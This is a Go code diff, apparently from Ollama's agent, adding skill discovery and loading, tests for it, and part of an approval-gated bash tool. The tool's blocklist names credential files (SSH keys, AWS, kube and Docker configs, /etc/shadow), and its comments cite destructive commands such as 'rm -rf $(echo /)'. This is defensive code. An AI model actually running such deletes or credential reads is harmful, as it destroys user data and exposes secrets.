+	return b.String()
+}
+
+// resources lists bundled files one level deep under scripts/, references/,
+// and assets/ without reading them, so the model can load them on demand.
+func (s Skill) resources() []string {
+	if s.Path == "" {
+		return nil
+	}
+	dir := filepath.Dir(s.Path)
+	var resources []string
+	for _, sub := range []string{"scripts", "references", "assets"} {
+		entries, err := os.ReadDir(filepath.Join(dir, sub))
+		if err != nil {
+			continue
+		}
+		for _, e := range entries {
+			if e.IsDir() {
+				continue
+			}
+			resources = append(resources, sub+"/"+e.Name())
+		}
+	}
+	sort.Strings(resources)
+	return resources
+}
+
+// SkillCatalog contains valid skills and diagnostics for ignored invalid
+// entries, so one malformed skill cannot hide the rest.
+type SkillCatalog struct {
+	dir         string
+	skills      map[string]Skill
+	diagnostics []error
+}
+
+func DiscoverSkills(dir string) (*SkillCatalog, error) {
+	dir, err := filepath.Abs(strings.TrimSpace(dir))
+	if err != nil {
+		return nil, err
+	}
+	catalog := &SkillCatalog{dir: dir, skills: make(map[string]Skill)}
+	entries, err := os.ReadDir(dir)
+	if errors.Is(err, fs.ErrNotExist) {
+		return catalog, nil
+	}
+	if err != nil {
+		return nil, fmt.Errorf("read skills directory: %w", err)
+	}
+	for _, entry := range entries {
+		name := entry.Name()
+		// Follow symlinks so users can point at shared skill repositories.
+		// The link name (not the target) is the canonical skill name.
+		info, err := os.Stat(filepath.Join(dir, name))
+		if err != nil {
+			if errors.Is(err, fs.ErrNotExist) {
+				continue
+			}
+			catalog.diagnostics = append(catalog.diagnostics, fmt.Errorf("skill %q: %w", name, err))
+			continue
+		}
+		if !info.IsDir() {
+			continue
+		}
+		if !skillName.MatchString(name) {
+			catalog.diagnostics = append(catalog.diagnostics, fmt.Errorf("invalid skill directory %q", name))
+			continue
+		}
+		skill, err := parseSkill(filepath.Join(dir, name, skillFilename), name)
+		if errors.Is(err, fs.ErrNotExist) {
+			continue
+		}
+		if err != nil {
+			catalog.diagnostics = append(catalog.diagnostics, err)
+			continue
+		}
+		catalog.skills[skill.Name] = skill
+	}
+	return catalog, nil
+}
+
+// LoadDefaultSkills discovers skills from the spec's scopes, merged with
+// deterministic precedence. Roots are scanned lowest-precedence first so later
+// roots override earlier ones on name collisions (recording a diagnostic):
+//
+//  1. ~/.agents/skills/              (user, cross-client)
+//  2. user Ollama skills dir          (user, Ollama-owned; SkillsDir)
+//  3. <project>/.agents/skills/      (project, cross-client)
+//  4. <project>/.ollama/skills/      (project, Ollama-owned)
+//
+// Project-level overrides user-level, and within a scope Ollama-owned
+// directories override .agents/skills/. projectDir is the agent's working
+// directory at startup (discovery is a session-start snapshot per the spec).
+func LoadDefaultSkills(projectDir string) (*SkillCatalog, error) {
+	roots, err := defaultSkillRoots(projectDir)
+	if err != nil {
+		return nil, err
+	}
+	catalog := &SkillCatalog{skills: make(map[string]Skill)}
+	bundled, err := bundledSkillCreator()
+	if err != nil {
+		return nil, err
+	}
+	catalog.skills[bundled.Name] = bundled
+	if err := installBundledSkillCreator(); err != nil {
+		catalog.diagnostics = append(catalog.diagnostics, err)
+	}
+	for _, root := range roots {
+		sub, err := DiscoverSkills(root.path)
+		if err != nil {
+			catalog.diagnostics = append(catalog.diagnostics, fmt.Errorf("discover skills in %s: %w", root.path, err))
+			continue
+		}
+		catalog.diagnostics = append(catalog.diagnostics, sub.diagnostics...)
+		for _, skill := range sub.skills {
+			// Name collisions across roots are expected precedence resolution,
+			// not errors: later (higher-precedence) roots legitimately override
+			// earlier ones. The skill is still loaded; no diagnostic needed.
+			catalog.skills[skill.Name] = skill
+		}
+	}
+	return catalog, nil
+}
+
+func bundledSkillCreator() (Skill, error) {
+	skill, err := parseSkillContent("", bundledSkillCreatorName, bundledSkillCreatorContent)
+	if err != nil {
+		return Skill{}, fmt.Errorf("load bundled %s skill: %w", bundledSkillCreatorName, err)
+	}
+	return skill, nil
+}
+
+func installBundledSkillCreator() error {
+	dir, err := SkillsDir()
+	if err != nil {
+		return fmt.Errorf("resolve bundled skill directory: %w", err)
+	}
+	path := filepath.Join(dir, bundledSkillCreatorName, skillFilename)
+	if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
+		return fmt.Errorf("create bundled skill directory: %w", err)
+	}
+	contents, err := os.ReadFile(path)
+	if err == nil && string(contents) == bundledSkillCreatorContent {
+		return nil
+	}
+	if err != nil && !errors.Is(err, fs.ErrNotExist) {
+		return fmt.Errorf("read bundled skill: %w", err)
+	}
+	if err := os.WriteFile(path, []byte(bundledSkillCreatorContent), 0o644); err != nil {
+		return fmt.Errorf("write bundled skill: %w", err)
+	}
+	return nil
+}
+
+type skillRoot struct {
+	path string
+}
+
+// defaultSkillRoots returns skill directories ordered lowest- to
+// highest-precedence. Non-existent directories are scanned harmlessly
+// (DiscoverSkills skips them).
+func defaultSkillRoots(projectDir string) ([]skillRoot, error) {
+	var roots []skillRoot
+
+	if home, err := os.UserHomeDir(); err == nil && home != "" {
+		roots = append(roots, skillRoot{path: filepath.Join(home, ".agents", "skills")})
+	}
+
+	userOllama, err := SkillsDir()
+	if err != nil {
+		return nil, err
+	}
+	roots = append(roots, skillRoot{path: userOllama})
+
+	projectDir = strings.TrimSpace(projectDir)
+	if projectDir != "" {
+		if abs, err := filepath.Abs(projectDir); err == nil {
+			roots = append(roots,
+				skillRoot{path: filepath.Join(abs, ".agents", "skills")},
+				skillRoot{path: filepath.Join(abs, ".ollama", "skills")},
+			)
+		}
+	}
+	return roots, nil
+}
+
+func (c *SkillCatalog) Dir() string {
+	if c == nil {
+		return ""
+	}
+	return c.dir
+}
+
+func (c *SkillCatalog) List() []Skill {
+	if c == nil {
+		return nil
+	}
+	list := make([]Skill, 0, len(c.skills))
+	for _, skill := range c.skills {
+		list = append(list, skill)
+	}
+	sort.Slice(list, func(i, j int) bool { return list[i].Name < list[j].Name })
+	return list
+}
+
+func (c *SkillCatalog) Diagnostics() []error {
+	if c == nil {
+		return nil
+	}
+	return append([]error(nil), c.diagnostics...)
+}
+
+func (c *SkillCatalog) Load(name string) (Skill, error) {
+	name = strings.TrimSpace(name)
+	if !skillName.MatchString(name) {
+		return Skill{}, fmt.Errorf("invalid skill name %q", name)
+	}
+	if c == nil {
+		return Skill{}, errors.New("skills are unavailable")
+	}
+	skill, ok := c.skills[name]
+	if !ok {
+		return Skill{}, fmt.Errorf("skill %q not found in %s", name, c.dir)
+	}
+	return skill, nil
+}
+
+// SystemContext advertises the catalog without expanding full instructions in
+// every request. The skill call is the explicit loading boundary.
+func (c *SkillCatalog) SystemContext() string {
+	list := c.List()
+	if len(list) == 0 {
+		return ""
+	}
+	lines := []string{"<available_skills>"}
+	for _, skill := range list {
+		description := skill.Description
+		if description == "" {
+			description = "No description provided."
+		}
+		lines = append(lines, fmt.Sprintf("- %s: %s", skill.Name, description))
+	}
+	lines = append(lines, "</available_skills>", "Load a matching skill with the skill tool before following its instructions. Skills only provide instructions; use ordinary tools for filesystem or network access, with their normal approval rules.")
+	return strings.Join(lines, "\n")
+}
+
+func parseSkill(path, directoryName string) (Skill, error) {
+	// Stat (not Lstat) so a symlinked SKILL.md resolves to its target file.
+	info, err := os.Stat(path)
+	if err != nil {
+		return Skill{}, err
+	}
+	if !info.Mode().IsRegular() {
+		return Skill{}, fmt.Errorf("skill %q: %s is not a regular file", directoryName, skillFilename)
+	}
+	if info.Size() > maxSkillBytes {
+		return Skill{}, fmt.Errorf("skill %q: %s exceeds %d bytes", directoryName, skillFilename, maxSkillBytes)
+	}
+	data, err := os.ReadFile(path)
+	if err != nil {
+		return Skill{}, fmt.Errorf("read skill %q: %w", directoryName, err)
+	}
+	return parseSkillContent(path, directoryName, string(data))
+}
+
+func parseSkillContent(path, directoryName, input string) (Skill, error) {
+	instructions := strings.TrimSpace(input)
+	if instructions == "" {
+		return Skill{}, fmt.Errorf("skill %q: %s is empty", directoryName, skillFilename)
+	}
+	if !strings.HasPrefix(instructions, "---\n") && !strings.HasPrefix(instructions, "---\r\n") {
+		return Skill{}, fmt.Errorf("skill %q: missing YAML front matter", directoryName)
+	}
+	metadata, body, err := skillFrontMatter(instructions)
+	if err != nil {
+		return Skill{}, fmt.Errorf("skill %q: %w", directoryName, err)
+	}
+	if metadata.Name == "" {
+		return Skill{}, fmt.Errorf("skill %q: front matter requires name", directoryName)
+	}
+	if metadata.Description == "" {
+		return Skill{}, fmt.Errorf("skill %q: front matter requires description", directoryName)
+	}
+	if !skillName.MatchString(metadata.Name) {
+		return Skill{}, fmt.Errorf("skill %q: invalid front matter name %q", directoryName, metadata.Name)
+	}
+	if metadata.Name != directoryName {
+		return Skill{}, fmt.Errorf("skill %q: front matter name %q must match directory name", directoryName, metadata.Name)
+	}
+	skill := Skill{Name: metadata.Name, Description: metadata.Description, Path: path}
+	instructions = body
+	if strings.TrimSpace(instructions) == "" {
+		return Skill{}, fmt.Errorf("skill %q: instructions are empty", directoryName)
+	}
+	skill.Instructions = strings.TrimSpace(instructions)
+	return skill, nil
+}
+
+type skillFrontMatterMetadata struct {
+	Name        string         `yaml:"name"`
+	Description string         `yaml:"description"`
+	Metadata    map[string]any `yaml:"metadata"`
+}
+
+func skillFrontMatter(input string) (skillFrontMatterMetadata, string, error) {
+	input = strings.ReplaceAll(input, "\r\n", "\n")
+	lines := strings.Split(input, "\n")
+	if len(lines) < 3 || lines[0] != "---" {
+		return skillFrontMatterMetadata{}, "", errors.New("invalid front matter")
+	}
+	for i := 1; i < len(lines); i++ {
+		if lines[i] == "---" {
+			var metadata skillFrontMatterMetadata
+			if err := yaml.Unmarshal([]byte(strings.Join(lines[1:i], "\n")), &metadata); err != nil {
+				return skillFrontMatterMetadata{}, "", fmt.Errorf("parse YAML front matter: %w", err)
+			}
+			metadata.Name = strings.TrimSpace(metadata.Name)
+			metadata.Description = strings.TrimSpace(metadata.Description)
+			return metadata, strings.Join(lines[i+1:], "\n"), nil
+		}
+	}
+	return skillFrontMatterMetadata{}, "", errors.New("front matter is not closed")
+}

agent/skills_test.go

@@ -0,0 +1,293 @@
+package agent
+
+import (
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+)
+
+func writeCatalogSkill(t *testing.T, dir, name, content string) {
+	t.Helper()
+	path := filepath.Join(dir, name)
+	if err := os.MkdirAll(path, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if !strings.HasPrefix(content, "---") {
+		content = "---\nname: " + name + "\ndescription: Test skill.\n---\n" + content
+	}
+	if err := os.WriteFile(filepath.Join(path, skillFilename), []byte(content), 0o644); err != nil {
+		t.Fatal(err)
+	}
+}
+
+func TestDiscoverAndLoadSkills(t *testing.T) {
+	dir := t.TempDir()
+	writeCatalogSkill(t, dir, "release-notes", "---\nname: release-notes\ndescription: Draft concise release notes.\nmetadata:\n  author: Ollama\n  labels:\n    - release\n    - docs\n---\n# Release notes\n\nUse short bullets.")
+	catalog, err := DiscoverSkills(dir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	list := catalog.List()
+	if len(list) != 1 || list[0].Name != "release-notes" || list[0].Description != "Draft concise release notes." {
+		t.Fatalf("skills = %#v", list)
+	}
+	skill, err := catalog.Load("release-notes")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !strings.Contains(skill.Content(), `<skill name="release-notes">`) || !strings.Contains(skill.Content(), "Use short bullets.") {
+		t.Fatalf("skill content = %q", skill.Content())
+	}
+	if context := catalog.SystemContext(); !strings.Contains(context, "release-notes: Draft concise release notes.") || !strings.Contains(context, "normal approval rules") {
+		t.Fatalf("system context = %q", context)
+	}
+}
+
+func TestDiscoverSkillsSkipsMalformedEntries(t *testing.T) {
+	dir := t.TempDir()
+	writeCatalogSkill(t, dir, "valid", "do the useful thing")
+	writeCatalogSkill(t, dir, "mismatched", "---\nname: whatever\ndescription: wrong name\n---\nbody")
+	// Genuinely malformed front matter (a line without a key:value pair) is still rejected.
+	writeCatalogSkill(t, dir, "broken", "---\nname: broken\ndescription\n---\nnope")
+	writeCatalogSkill(t, dir, "missing-name", "---\ndescription: missing name\n---\nbody")
+	writeCatalogSkill(t, dir, "missing-description", "---\nname: missing-description\n---\nbody")
+	writeCatalogSkill(t, dir, "bad-name", "---\nname: bad_name\ndescription: invalid name\n---\nbody")
+	writeCatalogSkill(t, dir, "under_score", "---\nname: under_score\ndescription: invalid directory\n---\nbody")
+	if err := os.MkdirAll(filepath.Join(dir, "no-front-matter"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(dir, "no-front-matter", skillFilename), []byte("body"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	catalog, err := DiscoverSkills(dir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got, want := len(catalog.List()), 1; got != want {
+		t.Fatalf("valid skills = %d, want %d", got, want)
+	}
+	if got, want := len(catalog.Diagnostics()), 7; got != want {
+		t.Fatalf("diagnostics = %d, want %d: %#v", got, want, catalog.Diagnostics())
+	}
+	if _, err := catalog.Load("broken"); err == nil || !strings.Contains(err.Error(), "not found") {
+		t.Fatalf("load broken error = %v", err)
+	}
+	if _, err := catalog.Load("../valid"); err == nil || !strings.Contains(err.Error(), "invalid skill name") {
+		t.Fatalf("unsafe name error = %v", err)
+	}
+}
+
+func TestDiscoverSkillsFollowsSymlinks(t *testing.T) {
+	dir := t.TempDir()
+	target := t.TempDir()
+	writeCatalogSkill(t, target, "shared", "---\nname: shared\ndescription: From a linked repo.\n---\nshared instructions")
+	if err := os.Symlink(filepath.Join(target, "shared"), filepath.Join(dir, "shared")); err != nil {
+		t.Skipf("symlink not supported: %v", err)
+	}
+	catalog, err := DiscoverSkills(dir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	list := catalog.List()
+	if len(list) != 1 || list[0].Name != "shared" || list[0].Description != "From a linked repo." {
+		t.Fatalf("symlinked skills = %#v", list)
+	}
+	if !strings.Contains(list[0].Content(), "shared instructions") {
+		t.Fatalf("symlinked skill content = %q", list[0].Content())
+	}
+}
+
+func TestLoadDefaultSkillsContinuesAfterBadRoot(t *testing.T) {
+	home := t.TempDir()
+	t.Setenv("HOME", home)
+	t.Setenv("USERPROFILE", home)
+	project := t.TempDir()
+	writeCatalogSkill(t, filepath.Join(project, ".ollama", "skills"), "release-notes", "project instructions")
+
+	badRoot := filepath.Join(t.TempDir(), "not-a-directory")
+	if err := os.WriteFile(badRoot, []byte("not a directory"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	t.Setenv(SkillsDirEnv, badRoot)
+
+	catalog, err := LoadDefaultSkills(project)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if _, err := catalog.Load("release-notes"); err != nil {
+		t.Fatalf("valid skill was hidden by bad root: %v", err)
+	}
+	if _, err := catalog.Load(bundledSkillCreatorName); err != nil {
+		t.Fatalf("bundled skill was hidden by bad root: %v", err)
+	}
+	var foundDiagnostic bool
+	for _, diagnostic := range catalog.Diagnostics() {
+		if strings.Contains(diagnostic.Error(), badRoot) {
+			foundDiagnostic = true
+			break
+		}
+	}
+	if !foundDiagnostic {
+		t.Fatalf("diagnostics = %#v, want bad root %q", catalog.Diagnostics(), badRoot)
+	}
+}
+
+func TestLoadDefaultSkillsInstallsBundledSkillCreator(t *testing.T) {
+	dir := t.TempDir()
+	t.Setenv(SkillsDirEnv, dir)
+
+	catalog, err := LoadDefaultSkills("")
+	if err != nil {
+		t.Fatal(err)
+	}
+	skill, err := catalog.Load(bundledSkillCreatorName)
+	if err != nil {
+		t.Fatal(err)
+	}
+	path := filepath.Join(dir, bundledSkillCreatorName, skillFilename)
+	contents, err := os.ReadFile(path)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(contents) != bundledSkillCreatorContent {
+		t.Fatalf("installed skill = %q, want bundled contents", contents)
+	}
+	if skill.Path != path {
+		t.Fatalf("skill path = %q, want %q", skill.Path, path)
+	}
+	if !strings.Contains(skill.Content(), "Skill directory: "+filepath.Dir(path)) {
+		t.Fatalf("skill content does not identify its directory: %q", skill.Content())
+	}
+}
+
+func TestLoadDefaultSkillsUpdatesExistingSkillCreator(t *testing.T) {
+	dir := t.TempDir()
+	t.Setenv(SkillsDirEnv, dir)
+	writeCatalogSkill(t, dir, bundledSkillCreatorName, "custom instructions")
+
+	if _, err := LoadDefaultSkills(""); err != nil {
+		t.Fatal(err)
+	}
+	contents, err := os.ReadFile(filepath.Join(dir, bundledSkillCreatorName, skillFilename))
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(contents) != bundledSkillCreatorContent {
+		t.Fatalf("installed skill = %q, want bundled contents", contents)
+	}
+}
+
+func TestSkillsDirUsesOverrideAndXDG(t *testing.T) {
+	base := t.TempDir()
+
+	override := filepath.Join(base, "skills-override")
+	t.Setenv(SkillsDirEnv, override)
+	got, err := SkillsDir()
+	if err != nil {
+		t.Fatal(err)
+	}
+	want, err := filepath.Abs(override)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got != want {
+		t.Fatalf("SkillsDir override = %q, want %q", got, want)
+	}
+
+	t.Setenv(SkillsDirEnv, "")
+	xdg := filepath.Join(base, "xdg")
+	t.Setenv("XDG_CONFIG_HOME", xdg)
+	if got, err := SkillsDir(); err != nil || got != filepath.Join(xdg, "ollama", "skills") {
+		t.Fatalf("SkillsDir xdg = %q, want %q, %v", got, filepath.Join(xdg, "ollama", "skills"), err)
+	}
+
+	t.Setenv("XDG_CONFIG_HOME", "")
+	home := filepath.Join(base, "home")
+	t.Setenv("HOME", home)
+	t.Setenv("USERPROFILE", home)
+	if got, err := SkillsDir(); err != nil || got != filepath.Join(home, ".ollama", "skills") {
+		t.Fatalf("SkillsDir default = %q, want %q, %v", got, filepath.Join(home, ".ollama", "skills"), err)
+	}
+}
+
+func TestLoadDefaultSkillsPrecedenceAndCollisions(t *testing.T) {
+	home := t.TempDir()
+	t.Setenv("HOME", home)
+	t.Setenv("USERPROFILE", home) // Windows: os.UserHomeDir uses %USERPROFILE%
+
+	userOllama := t.TempDir()
+	t.Setenv(SkillsDirEnv, userOllama)
+
+	userAgents := filepath.Join(home, ".agents", "skills")
+	project := t.TempDir()
+	projectAgents := filepath.Join(project, ".agents", "skills")
+	projectOllama := filepath.Join(project, ".ollama", "skills")
+
+	// release-notes exists in all four roots; project ollama must win.
+	writeCatalogSkill(t, userAgents, "release-notes", "from user agents")
+	writeCatalogSkill(t, userOllama, "release-notes", "from user ollama")
+	writeCatalogSkill(t, projectOllama, "release-notes", "from project ollama")
+	// code-review exists in both project roots; project ollama beats project agents.
+	writeCatalogSkill(t, projectAgents, "code-review", "from project agents")
+	writeCatalogSkill(t, projectOllama, "code-review", "from project ollama")
+	// unique appears only in user ollama (via env override).
+	writeCatalogSkill(t, userOllama, "unique", "only here")
+
+	catalog, err := LoadDefaultSkills(project)
+	if err != nil {
+		t.Fatal(err)
+	}
+	rn, err := catalog.Load("release-notes")
+	if err != nil || !strings.Contains(rn.Instructions, "from project ollama") || !strings.Contains(rn.Path, ".ollama") {
+		t.Fatalf("release-notes = %#v, want project ollama to win", rn)
+	}
+	cr, err := catalog.Load("code-review")
+	if err != nil || !strings.Contains(cr.Instructions, "from project ollama") {
+		t.Fatalf("code-review = %#v, want project ollama to win over project agents", cr)
+	}
+	if _, err := catalog.Load("unique"); err != nil {
+		t.Fatalf("unique should load from user ollama: %v", err)
+	}
+	// Collisions are resolved silently by precedence — no diagnostics.
+	for _, d := range catalog.Diagnostics() {
+		if strings.Contains(d.Error(), "shadows") {
+			t.Fatalf("unexpected shadow diagnostic: %v", d)
+		}
+	}
+}
+
+func TestSkillContentListsDirectoryAndResources(t *testing.T) {
+	root := t.TempDir()
+	skillDir := filepath.Join(root, "pdf-processing")
+	if err := os.MkdirAll(filepath.Join(skillDir, "scripts"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.MkdirAll(filepath.Join(skillDir, "references"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(skillDir, "SKILL.md"), []byte("---\nname: pdf-processing\ndescription: Handle PDFs.\n---\nHandle PDFs."), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(skillDir, "scripts", "extract.py"), []byte("#!/usr/bin/env python3"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(skillDir, "references", "ref.md"), []byte("ref"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	catalog, err := DiscoverSkills(root)
+	if err != nil {
+		t.Fatal(err)
+	}
+	skill, err := catalog.Load("pdf-processing")
+	if err != nil {
+		t.Fatal(err)
+	}
+	content := skill.Content()
+	if !strings.Contains(content, "Skill directory:") || !strings.Contains(content, skillDir) {
+		t.Fatalf("content missing skill directory: %q", content)
+	}
+	if !strings.Contains(content, "<file>scripts/extract.py</file>") || !strings.Contains(content, "<file>references/ref.md</file>") {
+		t.Fatalf("content missing resource listing: %q", content)
+	}
+}

agent/tools/bash.go

@@ -0,0 +1,450 @@
+package tools
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"runtime"
+	"strings"
+	"time"
+	"unicode/utf8"
+
+	"github.com/ollama/ollama/agent"
+	"github.com/ollama/ollama/api"
+)
+
+const (
+	bashTimeout        = 3 * time.Minute
+	bashWaitDelay      = 1 * time.Second
+	maxBashOutputBytes = 60_000
+)
+
+type Bash struct{}
+
+func (b *Bash) Name() string {
+	return shellToolName()
+}
+
+func (b *Bash) Description() string {
+	return shellToolDescription()
+}
+
+func (b *Bash) Schema() api.ToolFunction {
+	props := api.NewToolPropertiesMap()
+	props.Set("command", api.ToolProperty{
+		Type:        api.PropertyType{"string"},
+		Description: shellCommandDescription(),
+	})
+	return api.ToolFunction{
+		Name:        b.Name(),
+		Description: b.Description(),
+		Parameters: api.ToolFunctionParameters{
+			Type:       "object",
+			Properties: props,
+			Required:   []string{"command"},
+		},
+	}
+}
+
+func (b *Bash) RequiresApproval(map[string]any) bool {
+	return true
+}
+
+// ApprovalScope scopes shell approval to the exact, trimmed command string
+// using a NUL separator: "<tool>\x00<command>". "Always allow this command"
+// matches ONLY that precise string — any whitespace, quoting, or casing
+// variant re-prompts. The NUL separator is safe because a shell command
+// string cannot contain a literal NUL.
+func (b *Bash) ApprovalScope(args map[string]any) string {
+	name := b.Name()
+	if command, ok := args["command"].(string); ok {
+		command = strings.TrimSpace(command)
+		if command != "" {
+			return name + "\x00" + command
+		}
+	}
+	return name
+}
+
+func (b *Bash) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
+	// TODO: use shared agent.RequiredStringArg for the "command" parameter (see agent package cleanup plan).
+	command, ok := args["command"].(string)
+	if !ok || strings.TrimSpace(command) == "" {
+		return agent.ToolResult{}, fmt.Errorf("command parameter is required")
+	}
+	if err := rejectUnsafeShellCommand(command); err != nil {
+		return agent.ToolResult{}, err
+	}
+
+	ctx, cancel := context.WithTimeout(ctx, bashTimeout)
+	defer cancel()
+
+	cwdFile, err := os.CreateTemp("", "ollama-agent-cwd-*")
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+	cwdPath := cwdFile.Name()
+	_ = cwdFile.Close()
+	defer os.Remove(cwdPath)
+
+	cmd := newBashCommand(ctx, command, cwdPath)
+	cmd.WaitDelay = bashWaitDelay
+	cmd.Cancel = func() error {
+		return killBashCommand(cmd)
+	}
+	if toolCtx.WorkingDir != "" {
+		cmd.Dir = toolCtx.WorkingDir
+	}
+
+	var stdout, stderr boundedOutput
+	stdout.Limit = maxBashOutputBytes
+	stderr.Limit = maxBashOutputBytes
+	cmd.Stdout = &stdout
+	cmd.Stderr = &stderr
+
+	err = runBashCommand(cmd)
+	finalWorkingDir := readFinalWorkingDir(cwdPath)
+
+	var sb strings.Builder
+	if stdout.Len() > 0 {
+		sb.WriteString(stdout.String("stdout"))
+	}
+	if stderr.Len() > 0 {
+		if sb.Len() > 0 {
+			sb.WriteString("\n")
+		}
+		sb.WriteString("stderr:\n")
+		sb.WriteString(stderr.String("stderr"))
+	}
+
+	if err != nil {
+		if ctx.Err() == context.DeadlineExceeded {
+			return agent.ToolResult{Content: bashContentWithError(sb.String(), "Error: command timed out after "+bashTimeout.String()), WorkingDir: finalWorkingDir}, nil
+		}
+		if ctx.Err() == context.Canceled {
+			return agent.ToolResult{Content: bashContentWithError(sb.String(), "Error: command was canceled"), WorkingDir: finalWorkingDir}, nil
+		}
+		if errors.Is(err, exec.ErrWaitDelay) {
+			_ = killBashCommand(cmd)
+			return agent.ToolResult{Content: bashContentWithError(sb.String(), "Error: command output pipes did not close after "+bashWaitDelay.String()), WorkingDir: finalWorkingDir}, nil
+		}
+		if exitErr, ok := err.(*exec.ExitError); ok {
+			return agent.ToolResult{Content: bashContentWithError(sb.String(), fmt.Sprintf("Exit code: %d", exitErr.ExitCode())), WorkingDir: finalWorkingDir}, nil
+		}
+		return agent.ToolResult{Content: sb.String(), WorkingDir: finalWorkingDir}, fmt.Errorf("executing command: %w", err)
+	}
+
+	if sb.Len() == 0 {
+		return agent.ToolResult{Content: "(no output)", WorkingDir: finalWorkingDir}, nil
+	}
+	return agent.ToolResult{Content: sb.String(), WorkingDir: finalWorkingDir}, nil
+}
+
+func bashContentWithError(content, msg string) string {
+	if content == "" {
+		return msg
+	}
+	return content + "\n\n" + msg
+}
+
+// rejectUnsafeShellCommand applies a best-effort blocklist for obviously
+// destructive or credential-exfiltrating commands. It is defense-in-depth
+// ONLY: the interactive approval prompt is the real security control, and
+// this check must not be relied upon as a sandbox. Sophisticated or novel
+// dangerous commands (e.g. find / -delete, dd, fork bombs, custom binaries)
+// are NOT caught here and will simply be routed through approval like any
+// other command. Keep the approval prompt as the gate.
+func rejectUnsafeShellCommand(command string) error {
+	switch {
+	case hasUnsafeRecursiveDelete(command):
+		return fmt.Errorf("refusing to run unsafe command: recursive delete target is too broad")
+	case readsCredentialPath(command):
+		return fmt.Errorf("refusing to run unsafe command: credential file reads are not allowed")
+	default:
+		return nil
+	}
+}
+
+func hasUnsafeRecursiveDelete(command string) bool {
+	// Check each command segment independently. shellSafetyText flattens
+	// separators (; & | newlines) to spaces, which would otherwise let the
+	// rm target scan bleed across command boundaries — e.g.
+	// "rm -rf build && echo ~/.ssh/config" flattened to one token stream
+	// would treat the unrelated ~/.ssh/config (a ~/-prefixed "unsafe
+	// target") as an rm argument. Splitting on separators first restores
+	// command boundaries while still catching multi-target single commands
+	// like "rm -rf build /etc".
+	for _, segment := range shellSegments(command) {
+		fields := shellSafetyFields(segment)
+		for i, field := range fields {
+			if isRMCommand(field) && rmCommandDeletesUnsafeTarget(fields[i+1:]) {
+				return true
+			}
+			if isPowerShellDeleteCommand(field) && powerShellDeleteCommandDeletesUnsafeTarget(fields[i+1:]) {
+				return true
+			}
+		}
+	}
+	return false
+}
+
+// shellSegments splits a command on shell control operators (;, &, |, &&,
+// ||) and newlines, returning the individual command segments. It operates on
+// the lowercased raw command before quote/separator normalization so that
+// command boundaries are preserved for per-segment checks. Subshell parens are
+// intentionally NOT treated as separators: splitting on them would fragment
+// command substitutions like "rm -rf $(echo /)" into "rm -rf $" and "echo /",
+// hiding the destructive "/" target from the per-segment scan. Empty segments
+// are dropped.
+func shellSegments(command string) []string {
+	command = strings.ToLower(command)
+	var segments []string
+	for _, segment := range strings.FieldsFunc(command, func(r rune) bool {
+		switch r {
+		case ';', '&', '|', '\n', '\r':
+			return true
+		}
+		return false
+	}) {
+		if segment = strings.TrimSpace(segment); segment != "" {
+			segments = append(segments, segment)
+		}
+	}
+	return segments
+}
+
+func rmCommandDeletesUnsafeTarget(fields []string) bool {
+	var flags string
+	for _, field := range fields {
+		if field == "--" {
+			continue
+		}
+		if strings.HasPrefix(field, "-") {
+			flags += field
+			continue
+		}
+		if strings.Contains(flags, "r") && strings.Contains(flags, "f") && isUnsafeDeleteTarget(field) {
+			return true
+		}
+	}
+	return false
+}
+
+func powerShellDeleteCommandDeletesUnsafeTarget(fields []string) bool {
+	var recurse, force bool
+	var targets []string
+	for _, field := range fields {
+		switch field {
+		case "-r", "-recurse", "-recursive":
+			recurse = true
+		case "-f", "-force":
+			force = true
+		default:
+			if !strings.HasPrefix(field, "-") {
+				targets = append(targets, field)
+			}
+		}
+	}
+	if !recurse || !force {
+		return false
+	}
+	for _, target := range targets {
+		if isUnsafeDeleteTarget(target) {
+			return true
+		}
+	}
+	return false
+}
+
+func readsCredentialPath(command string) bool {
+	fields := shellSafetyFields(command)
+	if !hasCredentialReadVerb(fields) {
+		return false
+	}
+	normalized := shellSafetyText(command)
+	for _, fragment := range []string{
+		"/.ssh/id_rsa",
+		"/.ssh/id_dsa",
+		"/.ssh/id_ecdsa",
+		"/.ssh/id_ed25519",
+		"/.ssh/config",
+		"/.ssh/known_hosts",
+		"/.aws/credentials",
+		"/.aws/config",
+		"/.config/gcloud/application_default_credentials.json",
+		"/.kube/config",
+		"/.netrc",
+		"/.npmrc",
+		"/.docker/config.json",
+		"/.config/gh/hosts.yml",
+		"/.gnupg/",
+		"/etc/shadow",
+	} {
+		if strings.Contains(normalized, fragment) {
+			return true
+		}
+	}
+	return false
+}
+
+func hasCredentialReadVerb(fields []string) bool {
+	for _, field := range fields {
+		switch field {
+		case "cat", "less", "more", "head", "tail", "type", "get-content", "gc", "select-string", "grep", "rg", "sed", "awk":
+			return true
+		case "env", "printenv":
+			return true
+		}
+	}
+	return false
+}
+
+func isRMCommand(field string) bool {
+	return field == "rm" || strings.HasSuffix(field, "/rm")
+}
+
+func isPowerShellDeleteCommand(field string) bool {
+	switch field {
+	case "remove-item", "del", "erase", "rd", "rmdir":
+		return true
+	default:
+		return false
+	}
+}
+
+func isUnsafeDeleteTarget(target string) bool {
+	if target == "." || target == "./" || target == "*" {
+		return true
+	}
